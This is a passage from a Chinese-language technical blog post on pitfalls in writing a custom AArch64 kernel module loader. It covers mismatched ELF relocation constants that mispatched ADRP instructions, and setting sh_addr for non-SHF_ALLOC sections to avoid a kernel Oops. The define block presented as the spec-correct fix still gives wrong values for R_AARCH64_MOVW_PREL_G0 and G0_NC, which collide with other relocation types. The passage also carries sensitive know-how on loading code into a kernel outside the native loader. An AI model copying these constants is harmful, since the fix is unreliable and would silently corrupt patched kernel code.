0, 0.18);"><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">R_AARCH64_ADR_PREL_PG_HI21_NC</span></code></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);text-align: right;"><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">0x115</span></code></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);text-align: right;"><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">0x114</span></code></td></tr><tr><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">R_AARCH64_ADD_ABS_LO12_NC</span></code></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);text-align: right;"><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">0x116</span></code></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);text-align: right;"><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">0x115</span></code></td></tr><tr><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">R_AARCH64_LDST8_ABS_LO12_NC</span></code></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);text-align: right;"><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">0x117</span></code></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);text-align: right;"><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">0x116</span></code></td></tr><tr><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">R_AARCH64_TSTBR14</span></code></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);text-align: right;"><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">0x118</span></code></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);text-align: right;"><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">0x117</span></code></td></tr><tr><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">R_AARCH64_CONDBR19</span></code></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);text-align: right;"><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">0x119</span></code></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);text-align: right;"><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">0x118</span></code></td></tr></tbody></table><p data-line="1887" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">这导致真实的 ADRP relocation 被错误匹配到了 MOVW relocation 分支。</span></p><p data-line="1889" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">最终出现这样的污染路径：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="1835" dir="auto" style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;"><span leaf="">真实 relocation：</span><span leaf=""><br/></span><span leaf="">  type = 275</span><span leaf=""><br/></span><span leaf="">  含义 = R_AARCH64_ADR_PREL_PG_HI21</span><span leaf=""><br/></span><span leaf="">错误匹配：</span><span leaf=""><br/></span><span leaf="">  type 275 被当成 MOVW_PREL_G0_NC</span><span leaf=""><br/></span><span leaf="">结果：</span><span leaf=""><br/></span><span leaf="">  用 MOVW 编码逻辑 patch ADRP 指令</span></code></pre><p data-line="1903" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">于是：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="1849" dir="auto" style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;"><span leaf="">原始 ADRP 指令 = 0x90000000</span><span leaf=""><br/></span><span leaf="">错误 imm       = 0xFF8</span><span leaf=""><br/></span><span leaf="">错误编码结果   = 0x9001FF00</span></code></pre><p data-line="1911" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">严格按照 ARM ELF 规范修正 relocation 常量：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="1857" dir="auto" style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;"><span style="color: rgb(43, 145, 175);"><span leaf="">#</span><span style="color: rgb(0, 0, 255);"><span leaf="">define</span></span><span leaf=""> R_AARCH64_MOVW_PREL_G0          0x111</span></span><span leaf=""><br/></span><span style="color: rgb(43, 145, 175);"><span leaf="">#</span><span style="color: rgb(0, 0, 255);"><span leaf="">define</span></span><span leaf=""> R_AARCH64_MOVW_PREL_G0_NC       0x112</span></span><span leaf=""><br/></span><span style="color: rgb(43, 145, 175);"><span leaf="">#</span><span style="color: rgb(0, 0, 255);"><span leaf="">define</span></span><span leaf=""> R_AARCH64_ADR_PREL_PG_HI21      0x113</span></span><span leaf=""><br/></span><span style="color: rgb(43, 145, 175);"><span leaf="">#</span><span style="color: rgb(0, 0, 255);"><span leaf="">define</span></span><span leaf=""> R_AARCH64_ADR_PREL_PG_HI21_NC   0x114</span></span><span leaf=""><br/></span><span style="color: rgb(43, 145, 175);"><span leaf="">#</span><span style="color: rgb(0, 0, 255);"><span leaf="">define</span></span><span leaf=""> R_AARCH64_ADD_ABS_LO12_NC       0x115</span></span><span leaf=""><br/></span><span style="color: rgb(43, 145, 175);"><span leaf="">#</span><span style="color: rgb(0, 0, 255);"><span leaf="">define</span></span><span leaf=""> R_AARCH64_LDST8_ABS_LO12_NC     0x116</span></span><span leaf=""><br/></span><span style="color: rgb(43, 145, 175);"><span leaf="">#</span><span style="color: rgb(0, 0, 255);"><span leaf="">define</span></span><span leaf=""> R_AARCH64_TSTBR14               0x117</span></span><span leaf=""><br/></span><span style="color: rgb(43, 145, 175);"><span leaf="">#</span><span style="color: rgb(0, 0, 255);"><span leaf="">define</span></span><span leaf=""> R_AARCH64_CONDBR19              0x118</span></span></code></pre><p data-line="1924" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">修复后：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="1870" dir="auto" style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;"><span leaf="">ADRP: new_insn=b0000000</span><span leaf=""><br/></span><span leaf="">kpm_test: init called</span></code></pre><p data-line="1931" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">ELF relocation type 常量不能凭记忆手写。必须和权威来源交叉验证，例如：</span></p><ul style="margin-top: 0px;margin-bottom: 0.7em;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="list-paddingleft-1"><li><p><span leaf="">ARM ELF ABI</span></p></li><li><p><span leaf="">binutils </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">include/elf/aarch64.h</span></code></p></li><li><p><span leaf="">LLVM AArch64 relocation 定义</span></p></li></ul><p data-line="1939" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">一个常量错位，会导致后续多个 relocation 类型互相顶替，症状非常隐蔽。</span></p><p data-line="1941" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">坑 27：ET_REL 非 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">SHF_ALLOC</span></code><span leaf=""> 段的 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">sh_addr</span></code><span leaf=""> 必须手动设置</span></p><p data-line="1943" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">重定位引擎处理 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">.rela.text</span></code><span leaf=""> 等 relocation section 时，需要访问：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="1887" dir="auto" style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;"><span leaf="">sechdrs[].sh_addr</span></code></pre><p data-line="1949" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">但对于：</span></p><ul style="margin-top: 0px;margin-bottom: 0.7em;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="list-paddingleft-1"><li><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">.symtab</span></code></li><li><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">.strtab</span></code></li><li><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">.rela.text</span></code></li><li><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">.rela.data</span></code></li></ul><p data-line="1956" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">这些非 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">SHF_ALLOC</span></code><span leaf=""> 段，</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">sh_addr</span></code><span leaf=""> 仍然是 0。结果访问空地址，触发内核 Oops。对于 ET_REL 文件，section header 中的 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">sh_addr</span></code><span leaf=""> 通常是 0。</span></p><p data-line="1958" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">因为它还没有被最终链接，也没有运行时地址。内核原生 module loader 会在加载过程中设置 section 的运行时地址。但自己写 loader 时，这一步需要手动完成。尤其要注意：重定位处理不仅需要访问 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">SHF_ALLOC</span></code><span leaf=""> 段，也需要访问非 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">SHF_ALLOC</span></code><span leaf=""> 的符号表、字符串表和 relocation 表。</span></p><p data-line="1960" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">例如：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="1904" dir="auto" style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;"><span leaf="">Elf_Sym  *symtab = (Elf_Sym *)sechdrs[symindex].sh_addr;</span><span leaf=""><br/></span><span style="color: rgb(163, 21, 21);"><span leaf="">char</span></span><span leaf="">     *strtab = (</span><span style="color: rgb(163, 21, 21);"><span leaf="">char</span></span><span leaf=""> *)sechdrs[strindex].sh_addr;</span><span leaf=""><br/></span><span leaf="">Elf_Rela *rela   = (Elf_Rela *)sechdrs[relsec].sh_addr;</span></code></pre><p data-line="1980" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">如果这些 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">sh_addr</span></code><span leaf=""> 没有设置，就会访问 NULL。在 loader setup 阶段，对所有非 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">SHF_ALLOC</span></code><span leaf=""> 